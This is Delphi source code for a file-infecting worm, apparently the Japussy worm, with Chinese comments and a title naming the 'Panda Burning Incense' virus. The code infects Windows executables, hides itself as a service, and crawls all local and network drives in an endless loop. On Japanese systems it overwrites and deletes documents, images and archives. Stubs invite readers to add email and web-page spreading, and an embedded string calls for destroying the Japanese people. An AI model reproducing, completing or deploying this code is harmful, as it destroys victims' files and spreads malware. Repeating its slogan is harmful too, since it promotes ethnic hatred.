熊猫烧香核心源码 program Japussy;  
uses  
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};  
const  
HeaderSize = 82432; //病毒体的大小  
IconOffset = $12EB8; //PE文件主图标的偏移量  
  
//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同  
//查找2800000020的十六进制字符串可以找到主图标的偏移量  
  
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}  
IconSize = $2E8; //PE文件主图标的大小--744字节  
IconTail = IconOffset + IconSize; //PE文件主图标的尾部  
ID = $44444444; //感染标记  
  
//垃圾码，以备写入  
Catchword = 'If a race need to be killed out, it must be Yamato. ' +  
'If a country need to be destroyed, it must be Japan! ' +  
'*** W32.Japussy.Worm.A ***';  
{$R *.RES}  
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;   
stdcall; external 'Kernel32.dll'; //函数声明  
var  
TmpFile: string;  
Si: STARTUPINFO;  
Pi: PROCESS_INFORMATION;  
IsJap: Boolean = False; //日文操作系统标记  
{ 判断是否为Win9x }  
function IsWin9x: Boolean;  
var  
Ver: TOSVersionInfo;  
begin  
Result := False;  
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);  
if not GetVersionEx(Ver) then  
Exit;  
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x  
Result := True;  
end;  
{ 在流之间复制 }  
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;  
dStartPos: Integer; Count: Integer);  
var  
sCurPos, dCurPos: Integer;  
begin  
sCurPos := Src.Position;  
dCurPos := Dst.Position;  
Src.Seek(sStartPos, 0);  
Dst.Seek(dStartPos, 0);  
Dst.CopyFrom(Src, Count);  
Src.Seek(sCurPos, 0);  
Dst.Seek(dCurPos, 0);  
end;  
{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }  
procedure ExtractFile(FileName: string);  
var  
sStream, dStream: TFileStream;  
begin  
try  
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);  
try  
dStream := TFileStream.Create(FileName, fmCreate);  
try  
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分  
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);  
finally  
dStream.Free;  
end;  
finally  
sStream.Free;  
end;  
except  
end;  
end;  
{ 填充STARTUPINFO结构 }  
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);  
begin  
Si.cb := SizeOf(Si);  
Si.lpReserved := nil;  
Si.lpDesktop := nil;  
Si.lpTitle := nil;  
Si.dwFlags := STARTF_USESHOWWINDOW;  
Si.wShowWindow := State;  
Si.cbReserved2 := 0;  
Si.lpReserved2 := nil;  
end;  
{ 发带毒邮件 }  
procedure SendMail;  
begin  
//哪位仁兄愿意完成之？  
end;  
{ 感染PE文件 }  
procedure InfectOneFile(FileName: string);  
var  
HdrStream, SrcStream: TFileStream;  
IcoStream, DstStream: TMemoryStream;  
iID: LongInt;  
aIcon: TIcon;  
Infected, IsPE: Boolean;  
i: Integer;  
Buf: array[0..1] of Char;  
begin  
try //出错则文件正在被使用，退出  
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染  
Exit;  
Infected := False;  
IsPE := False;  
SrcStream := TFileStream.Create(FileName, fmOpenRead);  
try  
for i := 0 to $108 do //检查PE文件头  
begin  
SrcStream.Seek(i, soFromBeginning);  
SrcStream.Read(Buf, 2);  
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记  
begin  
IsPE := True; //是PE文件  
Break;  
end;  
end;  
SrcStream.Seek(-4, soFromEnd); //检查感染标记  
SrcStream.Read(iID, 4);  
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染  
Infected := True;  
finally  
SrcStream.Free;  
end;  
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出  
Exit;  
IcoStream := TMemoryStream.Create;  
DstStream := TMemoryStream.Create;  
try  
aIcon := TIcon.Create;  
try  
//得到被感染文件的主图标(744字节)，存入流  
aIcon.ReleaseHandle;  
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);  
aIcon.SaveToStream(IcoStream);  
finally  
aIcon.Free;  
end;  
SrcStream := TFileStream.Create(FileName, fmOpenRead);  
//头文件  
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);  
try  
//写入病毒体主图标之前的数据  
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);  
//写入目前程序的主图标  
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);  
//写入病毒体主图标到病毒体尾部之间的数据  
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);  
//写入宿主程序  
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);  
//写入已感染的标记  
DstStream.Seek(0, 2);  
iID := $44444444;  
DstStream.Write(iID, 4);  
finally  
HdrStream.Free;  
end;  
finally  
SrcStream.Free;  
IcoStream.Free;  
DstStream.SaveToFile(FileName); //替换宿主文件  
DstStream.Free;  
end;  
except;  
end;  
end;  
{ 将目标文件写入垃圾码后删除 }  
procedure SmashFile(FileName: string);  
var  
FileHandle: Integer;  
i, Size, Mass, Max, Len: Integer;  
begin  
try  
SetFileAttributes(PChar(FileName), 0); //去掉只读属性  
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件  
try  
Size := GetFileSize(FileHandle, nil); //文件大小  
i := 0;  
Randomize;  
Max := Random(15); //写入垃圾码的随机次数  
if Max < 5 then  
Max := 5;  
Mass := Size div Max; //每个间隔块的大小  
Len := Length(Catchword);  
while i < Max do  
begin  
FileSeek(FileHandle, i * Mass, 0); //定位  
//写入垃圾码，将文件彻底破坏掉  
FileWrite(FileHandle, Catchword, Len);  
Inc(i);  
end;  
finally  
FileClose(FileHandle); //关闭文件  
end;  
DeleteFile(PChar(FileName)); //删除之  
except  
end;  
end;  
{ 获得可写的驱动器列表 }  
function GetDrives: string;  
var  
DiskType: Word;  
D: Char;  
Str: string;  
i: Integer;  
begin  
for i := 0 to 25 do //遍历26个字母  
begin  
D := Chr(i + 65);  
Str := D + ':';  
DiskType := GetDriveType(PChar(Str));  
//得到本地磁盘和网络盘  
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then  
Result := Result + D;  
end;  
end;  
{ 遍历目录，感染和摧毁文件 }  
procedure LoopFiles(Path, Mask: string);  
var  
i, Count: Integer;  
Fn, Ext: string;  
SubDir: TStrings;  
SearchRec: TSearchRec;  
Msg: TMsg;  
function IsValidDir(SearchRec: TSearchRec): Integer;  
begin  
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and  
(SearchRec.Name <> '..') then  
Result := 0 //不是目录  
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and  
(SearchRec.Name <> '..') then  
Result := 1 //不是根目录  
else Result := 2; //是根目录  
end;  
begin  
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then  
begin  
repeat  
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑  
if IsValidDir(SearchRec) = 0 then  
begin  
Fn := Path + SearchRec.Name;  
Ext := UpperCase(ExtractFileExt(Fn));  
if (Ext = '.EXE') or (Ext = '.SCR') then  
begin  
InfectOneFile(Fn); //感染可执行文件   
end  
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then  
begin  
//感染HTML和ASP文件，将Base64编码后的病毒写入  
//感染浏览此网页的所有用户  
//哪位大兄弟愿意完成之？  
end  
else if Ext = '.WAB' then //Outlook地址簿文件  
begin  
//获取Outlook邮件地址  
end  
else if Ext = '.ADC' then //Foxmail地址自动完成文件  
begin  
//获取Foxmail邮件地址  
end  
else if Ext = 'IND' then //Foxmail地址簿文件  
begin  
//获取Foxmail邮件地址  
end  
else   
begin  
if IsJap then //是倭文操作系统  
begin  
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or  
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or  
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or  
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or  
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or  
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then  
SmashFile(Fn); //摧毁文件  
end;  
end;  
end;  
//感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑  
Sleep(200);  
until (FindNext(SearchRec) <> 0);  
end;  
FindClose(SearchRec);  
SubDir := TStringList.Create;  
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then  
begin  
repeat  
if IsValidDir(SearchRec) = 1 then  
SubDir.Add(SearchRec.Name);  
until (FindNext(SearchRec) <> 0);  
end;  
FindClose(SearchRec);  
Count := SubDir.Count - 1;  
for i := 0 to Count do  
LoopFiles(Path + SubDir.Strings + '', Mask);  
FreeAndNil(SubDir);  
end;  
{ 遍历磁盘上所有的文件 }  
procedure InfectFiles;  
var  
DriverList: string;  
i, Len: Integer;  
begin  
if GetACP = 932 then //日文操作系统  
IsJap := True; //去死吧！  
DriverList := GetDrives; //得到可写的磁盘列表  
Len := Length(DriverList);  
while True do //死循环  
begin  
for i := Len downto 1 do //遍历每个磁盘驱动器  
LoopFiles(DriverList + ':', '*.*'); //感染之  
SendMail; //发带毒邮件  
Sleep(1000 * 60 * 5); //睡眠5分钟  
end;  
end;  
{ 主程序开始 }  
begin  
if IsWin9x then //是Win9x  
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程  
else //WinNT  
begin  
//远程线程映射到Explorer进程  
//哪位兄台愿意完成之？  
end;  
//如果是原始病毒体自己  
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then  
InfectFiles //感染和发邮件  
else //已寄生于宿主程序上了，开始工作  
begin  
TmpFile := ParamStr(0); //创建临时文件  
Delete(TmpFile, Length(TmpFile) - 4, 4);  
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格  
ExtractFile(TmpFile); //分离之  
FillStartupInfo(Si, SW_SHOWDEFAULT);  
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,  
0, nil, '.', Si, Pi); //创建新进程运行之  
InfectFiles; //感染和发邮件  
end;  
end.